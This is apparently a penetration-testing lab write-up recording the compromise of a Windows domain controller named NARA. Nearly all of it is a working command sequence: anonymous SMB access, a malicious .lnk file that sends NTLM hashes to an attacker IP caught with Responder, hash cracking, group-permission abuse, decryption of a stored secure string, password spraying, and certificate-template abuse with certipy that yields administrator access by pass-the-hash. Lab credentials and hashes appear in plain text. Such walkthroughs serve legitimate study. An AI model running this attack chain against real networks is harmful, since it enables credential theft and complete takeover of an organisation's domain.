49682/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: NARA; OS: Windows; CPE: cpe:/o:microsoft:windows

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]
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### LAB Steps:

→ Started with the SMB !! we can access smb with NULL session !!

# smbclient -L //192.168.200.30/ -U '' 

You can see there is NARA share !!
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 You can see there is Important.txt file !!
 
 

 
 the summary of the Important.txt is if anyone upload any files in Documets folder the user
will open and see it !!
 
 So we can get the intial access using the lnk file upload and get the NTLM hash !!

Make use of the ntlm theft tool to get intial access !!

https://github.com/Greenwolf/ntlm_theft

# python3 ntlm_theft.py -g all -s 192.168.45.225 -f malicious_ntlm

https://github.com/Greenwolf/ntlm_theft
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you can see one file malicious_ntlm.lnk file.

upload this file using smb in the Documents folder !!

and turn on the responder on tun0

# sudo responder -I tun0
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using the hashcat let's crack the hash !!

# hashcat trace_white.hash /usr/share/wordlists/rockyou.txt --force

we got the username and password !!

Tried to access the account via winrm 

# evil-winrm -i 192.168.200.30 -u tracy.white -p zqwj041FGX 

but no luck this user is not in remote access group !!
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Try to run BloodHound-python !!

# bloodhound-python -u tracy.white -d nara-security.com -c all -v -ns
192.168.200.30

You can see we have GenericAll permissions on Remote Access Group
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# net rpc group addmem "REMOTE ACCESS" "tracy.white" -U "NARA.nara-
security.com"/"tracy.white"%"zqwj041FGX" -S "nara-security.com"

You can see now we can access via winrm



57/58

got the local.txt and intial access ..

You can see there is one automation.txt on Documents folder !!

*Evil-WinRM* PS C:\Users\tracy.white\Documents> echo
"01000000d08c9ddf0115d1118c7a00c04fc297eb0100000001e86ea0aa8c1e44
ab231fbc46887c3a0000000002000000000003660000c000000010000000fc73
b7bdae90b8b2526ada95774376ea0000000004800000a000000010000000b7a
07aa1e5dc859485070026f64dc7a720000000b428e697d96a87698d170c47cd2
fc676bdbd639d2503f9b8c46dfc3df4863a4314000000800204e38291e91f37bd8
4a3ddb0d6f97f9eea2b" > creds.txt

*Evil-WinRM* PS C:\Users\tracy.white\Documents> $pw = Get-Content creds.txt |
ConvertTo-SecureString
*Evil-WinRM* PS C:\Users\tracy.white\Documents> $bstr =
[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pw)
*Evil-WinRM* PS C:\Users\tracy.white\Documents> $UnsecurePassword =
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)
*Evil-WinRM* PS C:\Users\tracy.white\Documents> $UnsecurePassword
hHO_S9gff7ehXw

we got one password : hHO_S9gff7ehXw

there are multiple user !!

make use of the crackmapexec and spray passwords on the all usernames !!
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# crackmapexec winrm 192.168.200.30 -u users -p hHO_S9gff7ehXw -d nara-
security.com --continue-on-success

You can see we got one hit !!

Jodie.Summers : hHO_S9gff7ehXw

# evil-winrm -i 192.168.200.30 -u Jodie.Summers -p hHO_S9gff7ehXw

we got access !!

followed this :

# certipy-ad find -u JODIE.SUMMERS -p 'hHO_S9gff7ehXw' -dc-ip nara-security.com  -dns-tcp
-ns 192.168.200.30 -bloodhound

# certipy-ad req -username JODIE.SUMMERS -password 'hHO_S9gff7ehXw' -target nara-
security.com -ca NARA-CA -template NARAUSER -upn administrator@nara-security.com -dc-ip
192.168.200.30 -debug

# certipy-ad auth -pfx administrator.pfx -domain nara-security.com -username administrator
-dc-ip 192.168.200.30

# evil-winrm -i 192.168.200.30 -u 'administrator' -H
'd35c4ae45bdd10a4e28ff529a2155745'

and got adminsitrator access !!

and got the proof.txt !!


